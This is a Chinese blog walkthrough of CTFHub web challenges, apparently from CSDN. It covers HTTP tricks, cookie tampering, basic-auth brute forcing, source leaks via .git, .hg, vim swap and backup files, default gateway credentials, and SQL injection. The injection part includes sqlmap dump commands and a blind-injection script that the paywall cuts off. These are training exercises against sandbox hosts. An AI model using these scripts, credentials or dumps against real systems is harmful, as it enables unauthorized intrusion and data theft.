CTFHUB-技能树-WEB通关

最新推荐文章于 2025-03-14 19:56:57 发布
最新推荐文章于 2025-03-14 19:56:57 发布
阅读量7.8k 收藏 69
点赞数 11
分类专栏： CTF WEB 文章标签： web
Alita_lxz
本文链接：https://blog.csdn.net/qq_45774670/article/details/109568987
版权

Web

题目来自ctfhub技能树web部分，截至2020年11月11日题目更新

Web前置技能

在这里插入图片描述

操作系统

(空)

数据库

(空)

HTTP协议

在这里插入图片描述

请求方式

HTTP 请求方法, HTTP/1.1协议中共定义了八种方法（也叫动作）来以不同方式操作指定的资源。

​ 1.OPTIONS
　　返回服务器针对特定资源所支持的HTTP请求方法。也可以利用向Web服务器发送’*'的请求来测试服务器的功能性,如获取当前URL所支持的方法。若请求成功，则它会在HTTP头中包含一个名为“Allow”的头，值是所支持的方法，如“GET,POST”。
　2.HEAD
　　向服务器索要与GET请求相一致的响应，只不过响应体将不会被返回,可用于欲判断某个资源是否存在。
　3.GET
　　向特定的资源发出请求。注意：GET方法不应当被用于产生“副作用”的操作中。
　4.POST
　　向指定资源提交数据进行处理请求（例如提交表单或者上传文件）。可能会导致新的资源的建立和/或已有资源 的修改。
　5.PUT
　　向指定资源位置上传其最新内容。
　6.DELETE
　　请求服务器删除Request-URI所标识的资源。
　7.TRACE
　　回显服务器收到的请求，主要用于测试或诊断。
　8.CONNECT
　　HTTP/1.1协议中预留给能够将连接改为管道方式的代理服务器。

http请求要使用CTFHUB的方式请求，这里需要用到curl命令
在这里插入图片描述

302跳转

HTTP临时重定向
在这里插入图片描述
打开burpsuite开启拦截，然后点击Give me flag，右键发送到repeater
在这里插入图片描述
点击发送，得到flag
在这里插入图片描述

Cookie

Cookie欺骗、认证、伪造
在这里插入图片描述
打开burpsuite开启拦截，刷新页面，把admin=0改成admin=1
在这里插入图片描述
然后放包
在这里插入图片描述

基础认证

在HTTP中，基本认证（英语：Basic access authentication）是允许http用户代理（如：网页浏览器）在请求时，提供 用户名 和 密码 的一种方式。详情请查看 https://zh.wikipedia.org/wiki/HTTP基本认证
在这里插入图片描述
点击click会出现一个登录页面
在这里插入图片描述

题目还带了一个附件，解压后是密码top100
在这里插入图片描述

那么思路很明确了，抓包爆破密码，抓到的包认证字段是base64编码的在这里插入图片描述
解码来看看
在这里插入图片描述
这里需要把admin:对应的密码 转换成base64格式，需要用到python脚本了

import base64
dic = '100.txt'
with open(dic, 'r') as f:
    password_dic = f.readlines()
username = 'admin:'
for password in password_dic:
    str1=str.encode(username + password.strip())
    enstr = base64.b64encode(str1)
    enstr=str(enstr)
    enstr=enstr.strip('b\'')
    print(enstr)

把编码的数据粘贴到burpsuite测试器，爆破一下就可以了
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

响应包源代码

HTTP响应包源代码查看
打开网址，直接F12查看控制台，就可以看到flag了
在这里插入图片描述

HTML/CSS

(空)

程序语言

(空)

Web工具配置

在这里插入图片描述

虚拟机

(空)

Burpsuite

(空)

Chrome

(空)

Webshell

(空)

菜刀类工具

(空)

端口扫描

(空)

远程连接

(空)

目标爆破

(空)

信息泄露

在这里插入图片描述

目录遍历

在这里插入图片描述
点击进去，挨个目录找就行了
在这里插入图片描述

PHPINFO

在这里插入图片描述

直接搜索ctfhub{即可
在这里插入图片描述

备份文件下载

在这里插入图片描述

网站源码

当开发人员在线上环境中对源代码进行了备份操作，并且将备份文件放在了 web 目录下，就会引起网站源码泄露。
在这里插入图片描述
在这里插入图片描述
查看三个文件都没有flag，于是在网站上访问txt文件，得到flag
在这里插入图片描述

bak文件

当开发人员在线上环境中对源代码进行了备份操作，并且将备份文件放在了 web 目录下，就会引起网站源码泄露。
在这里插入图片描述
访问index.php.bak下载源码文件
在这里插入图片描述

vim缓存

当开发人员在线上环境中使用 vim 编辑器，在使用过程中会留下 vim 编辑器缓存，当vim异常退出时，缓存会一直留在服务器上，引起网站源码泄露。

在这里插入图片描述
提示flag在index.php源码中，百度了一下vim缓存文件的后缀为.swp,因为vim缓存文件为隐藏的，所以要在前面再加一个点 访问.index.php.swp,就可以下载下来
在这里插入图片描述

使用文本文件打开是乱码，所以我们用16进制编辑器打开，得到flag
在这里插入图片描述

.DS_Store

.DS_Store 是 Mac OS 保存文件夹的自定义属性的隐藏文件。通过.DS_Store可以知道这个目录里面所有文件的清单。
在这里插入图片描述
直接访问.DS_Store，下载，打开还是乱码，上HxD
在这里插入图片描述
在文件中看到这么一串字符，复制出来，去掉点，感觉有点像md5加密过的字符，
在这里插入图片描述
先不管，直接访问，得到flag
在这里插入图片描述

Git泄露

在这里插入图片描述

Log

当前大量开发人员使用git进行版本控制，对站点自动部署。如果配置不当,可能会将.git文件夹直接部署到线上环境。这就引起了git泄露漏洞。
在这里插入图片描述
既然题目提示了git泄露漏洞，那么直接下载源码

python3 GitHacker.py http://challenge-3a9f32a6257c2086.sandbox.ctfhub.com:10080/.git
cd challenge-3a9f32a6257c2086_sandbox_ctfhub_com\:10080_/
git log   //查看历史记录
git diff 1881aa7f722b53315cce8d7c068fd427e99fcf23     //比较版本

在这里插入图片描述
在这里插入图片描述

Stash

当前大量开发人员使用git进行版本控制，对站点自动部署。如果配置不当,可能会将.git文件夹直接部署到线上环境。这就引起了git泄露漏洞。
在这里插入图片描述

python3 GitHacker.py http://challenge-34dd4fc45ce6ce3b.sandbox.ctfhub.com:10080/.git
进入目录
git stash pop
cat 179512261914220.txt
Index

当前大量开发人员使用git进行版本控制，对站点自动部署。如果配置不当,可能会将.git文件夹直接部署到线上环境。这就引起了git泄露漏洞。
在这里插入图片描述

python3 GitHacker.py http://challenge-82987fffb8ed48b7.sandbox.ctfhub.com:10080/.git
cd challenge-82987fffb8ed48b7_sandbox_ctfhub_com\:10080_/
git log
git diff 4fec6a44c7d1116345e6872f69262767d69461fb

在这里插入图片描述

SYN泄露

在这里插入图片描述
工具：https://github.com/kost/dvcs-ripper
在这里插入图片描述

HG泄露

当开发人员使用 Mercurial 进行版本控制，对站点自动部署。如果配置不当,可能会将.hg 文件夹直接部署到线上环境。这就引起了 hg 泄露漏洞。
在这里插入图片描述
工具：https://github.com/kost/dvcs-ripper

./rip-hg.pl -v -u http://challenge-774a58fd50e6acf9.sandbox.ctfhub.com:10080/.hg/
cd .hg
grep -r flag*

在这里插入图片描述
直接访问flag_2097022758.txt
在这里插入图片描述

密码口令

在这里插入图片描述

弱口令

通常认为容易被别人（他们有可能对你很了解）猜测到或被破解工具破解的口令均为弱口令。
在这里插入图片描述
直接抓包爆破，就爆破出来了
在这里插入图片描述

字典爆破

(空)

默认口令

在这里插入图片描述
搜索这个网关的默认密码，挨个试一试就可以了，用户名：eyougw 密码：admin@(eyou)
在这里插入图片描述

社会工程

(空)

SQL注入

在这里插入图片描述

整数型注入

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
输入3的时候没有回显，数据型注入不用加单引号
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

字符型注入

SQL注入 字符型注入, 尝试获取数据库中的 flag
大同小异，加个引号和注释就可以了
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

报错注入

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
查询列
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

布尔盲注

输入1出现query_success
输入2出现query_success
在这里插入图片描述
输入3出现query_error
在这里插入图片描述
查询只出现正确或者错误
在这里插入图片描述
可以手工注入，不过有点麻烦，可以了解一下即可
https://blog.csdn.net/weixin_45254208/article/details/107505114
在这里插入图片描述
三种方法
第一种 sqlmap
kali为例：
payload：
前提url中找到注入点

sqlmap -u "url" --dbs 
sqlmap -u "url" -D [上一步得到的数据库名] --tables
sqlmap -u "url" -D [上一步得到的数据库名] -T [上一步得到的表明] --columns 
sqlmap -u "url" -D [上一步得到的数据库名] -T [上一步得到的表明] -C [上一步得到的列名] --dump

第二种 burpsuite
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
参考：https://blog.csdn.net/weixin_43486981/article/details/107914742
第三种 脚本

import requests
import time

urlOPEN = 'http://challenge-024aac0fff094f88.sandbox.ctfhub.com:10080?id='
starOperatorTime = []
mark = 'query_success'


def database_name():
    name = ''
    for j in range(1, 9):
        for i in 'sqcwertyuioplkjhgfdazxvbnm':
            url = urlOPEN + 'if(substr(database(),%d,1)="%s",1,(select table_name from information_schema.tables))' % (
            j, i)
            # print(url+'%23')
            r = requests.get(url)
            if mark in r.text:
                name = name + i

                print(name)

                break
    print('database_name:', name)


database_name()


def table_name():
    list = []
    for k in range(0, 4):
        name = ''
        for j in range(1, 9):
            for i in 'sqcwertyuioplkjhgfdazxvbnm':
                url = urlOPEN + 'if(substr((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1)="%s",1,(select table_name from information_schema.tables))' % (
                k, j, i)
                # print(url+'%23')
                r = requests.get(url)
                if mark in r.text:
                    name = name + i
                    break
        list.append(name)
    print('table_name:', list)


# start = time.time()
table_name()


# stop = time.time()
# starOperatorTime.append(stop-start)
# print("所用的平均时间： " + str(sum(starOperatorTime)/100))


def column_name():
    list = []
    for k in range(0, 3):  # 判断表里最多有4个字段
        name = ''
        for j in range(1, 9):  # 判断一个 字段名最多有9个字符组成
            for i in 'sqcwertyuioplkjhgfdazxvbnm':
                url = urlOPEN + 'if(substr((select column_name from information_schema.columns where table_name="flag"and table_schema= database() limit %d,1),%d,1)="%s",1,(select table_name from information_schema.tables))' % (
                k, j, i)
                r = requests.get
最低0.47元/天 解锁文章
CTFHub关卡-信息泄漏
qq_53460781的博客
07-29 1132
和各位热爱网络安全的一起交流学习
CTFHub技能树 Web-SSRF篇（保姆级通过全攻略）
2301_76631050的博客
07-24 1058
要完成DNS重绑定攻击，我们需要一个域名，并且将这个域名的解析指定到我们自己的DNS Serve在我们的可控的DNS Server上编写解析服务，设置TTL时间为0，这是为了防止有DNS服务器对解析结果进行缓存。步骤三:将HTTP头部的Host字段修改为127.0.0.1:80然后就是老操作... url编码一次在把%0A换成 %0D%0A 并且末尾要加上%0D%0A，然后再对url进行第二次编码....如下。步骤三:将其中的%0A 替换成%0D%0A 并且末尾要加上%0D%0A。
CTFHUB技能树之XSS——DOM跳转
weixin_73049307的博客
10-20 1380
"javascript:alert('xss')" 这样的代码赋值给 location.href 时，浏览器会将其解释为一种特殊的URL方案，即 “javascript:”。如果相等，就使用location.href将页面重定向到target[1]，也就是参数值所指定的URL。jumpto=http://challenge-1ccc67ea8612a9b6.sandbox.ctfhub.com:10800/），然后使用.split("=")将其拆分为参数名和参数值的数组。
CTFhub-RCE
最新发布
weixin_64359465的博客
03-14 673
(因为通过前面的eval，我们已经知道了背后的操作系统是Linux，我们这里就缺省认为后面的关卡都是Linux，不再额外测试，直接使用Linux命令。cat、tac、more、less、head、tail、file -f、nl、sed、sort、uniq等。1.查看源码，可以知道过滤了 | ，& ， cat ，flag， ctfhub，;flag_is_here是一个目录正常的payload已经没用了，需要使用命令分隔符。1.从代码中，可以看出，过滤了 | 和 & 两个字符，所以我们使用;
CTFHub通关
weixin_43184518的博客
07-06 8943
CTFHub通关 这篇文章主要为我在ctfhub上的通关过程，作为记录方便以后查看。
CTFHub
qq_51553814的博客
06-08 738
CTFHub备份文件下载 vim缓存 原理： 在创建vim时回产生缓存文件，退出时就会删除，若异常退出，会产生.swp,.swo,.swn等缓存文件 以 index.php 为例： 第一次产生的交换文件名为 .index.php.swp 当index.php.swp意外退出时，将会产生名为 .index.php.swo 的交换文件 第三次意外退出时产生的交换文件则为 .index.php.swn 做题方法： 在url后加上.index.php.swp(前面有个.，这是访问这类隐藏文件的方法) 之后可获得一个
CTFHub-Web-RCE-命令注入
qq_54037445的博客
11-29 2650
1、常见的拼接符1、A;B 先执行A，再执行B2、A & B 简单的拼接3、A | B 显示B的执行结果4、A&&B A执行成功之后才会执行B5、A || B A执行失败之后才会执行B, 在特殊情况下可代替空格2、常见的命令1.type 显示文本文件内容type x:\1.txt //显示x盘下的1.txt文件内容。
CTFHub技能树 Web-SSRF系列通过全技巧(已完结)
m0_59151303的博客
07-24 1408
第二步：选择一个文件上传，点击提交查询并用Burp Suite抓包，修改包内容，右击发送到Reperter，打开重放器，发现有中文乱码，修改中文乱码为“提交“，点击发送，发现Content-Length:的长度改变。第三步：用在线工具对修改后包进行URL编码，将编码后内容的%0A替换成%0D%0A并且在末尾再加一个%0D%0A，对替换后的内容再进行URL编码。第三步：用在线工具进行URL编码，将编码后内容的%0A替换成%0D%0A并且在末尾再加一个%0D%0A，对替换后的内容再进行URL编码。
CTFHUB-WEB前置技能-HTTP协议-请求方式
K_ShenH的博客
06-08 2416
CTFHUB-WEB前置技能-HTTP协议-请求方式
CTFHub（RCE）
cxiaodi的博客
05-07 1609
ctfhub（RCE专题）
CTFHub（web RCE）
2301_81105268的博客
04-04 1363
(remote command/code execute ，远程命令执行)命令执行一般发生在远程，故被称为远程命令执行。分为远程命令执行ping和远程代码执行evel。
CTFHub技能树-web篇
qq_44841017的博客
04-24 4149
web篇 web前置技能 http协议 请求方式 HTTP方法是GET，使用CTFHUB方法，我会给你flag 使用burpsuite抓包，修改请求方式GET为CTFHUB 还没学会burpsuite等待下次努力 信息泄露 目录遍历 遍历每一个文件夹，可看到一个flag.txt PHPINFO 直接搜索flag即可 备份文件下载 网站源码 尝试各种组合，在www.zip写在url后面时成功...
CTFHub（web SQL注入）
2301_81105268的博客
04-18 1414
id=1这个语句在数据库中返回几列，也就是SELECT * FROM uers WHERE id=1 and 1=2 LIMIT 1,0这个语句的数据结果集有几列，然后才可以用union进行联合查询。(2)可以用concat()或concat_ws()或group_concat()—[见数据库连接语句]----使得在sql注入时快速获得数据库的相关信息。使用order by语句进行测试：1 order by 1、1 order by 2等，直到报错为止，报错的前一个数，为字段数。
CTFHub（web前置技能）
2301_81105268的博客
04-01 892
提示：在HTTP中，基本认证（英语：Basic access authentication）是允许http用户代理（如：网页浏览器）在请求时，提供 用户名 和 密码 的一种方式。302：与301状态码类似，但是，客户端应该使用Location首部给出的URL来零食定位资源，将来的请求仍然使用旧的URL。301重定向是永久的重定向，搜索引擎在抓取新的内容的同时也将旧的网址替换为了重定向之后的网址。发送到重放器后，将请求头修改为CTFHUB，发送即可，得到flag。发送到重放器后，直接发送，得到flag。
CTFHub（字符型注入）
sGanYu
07-24 3224
目录 手动注入 sqlmap注入 手动注入 注入类型是否为字符型注入，在输入id=1的时候发现输出结果为id=’1’，判断类型为字符串形 需要让语句闭合，正常执行，在url结尾输入%23 或者--+，正常闭合，%23为#，注释后面的语句,一定要注意“ ' ”英文输入下，否则容易爆错 判断列数，发现是两列 库名为sqli 爆出一个news和flag两个表，开始跑列名 列名为flag ，查询列内容 【 Mysql表类型：在mysql内自带一个数据库，名...
CTFHub——XSS
2302_79119987的博客
03-28 1955
"fangfa('可控点')"> 使用 ” 闭合：与上题解题思路一致，用插入语句后用xss平台找到flag，插入语句后发现无回显（模拟黑客发送xss到服务器），查找源码，发现插入成功。将xss代码输入测试栏，发现url地址有变化，将url地址复制到url地址栏，上传成功后在xss平台查看cookie。尝试注入，查看源码发现过滤空格，url地址不对，使用/**/过滤。
评论 4
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值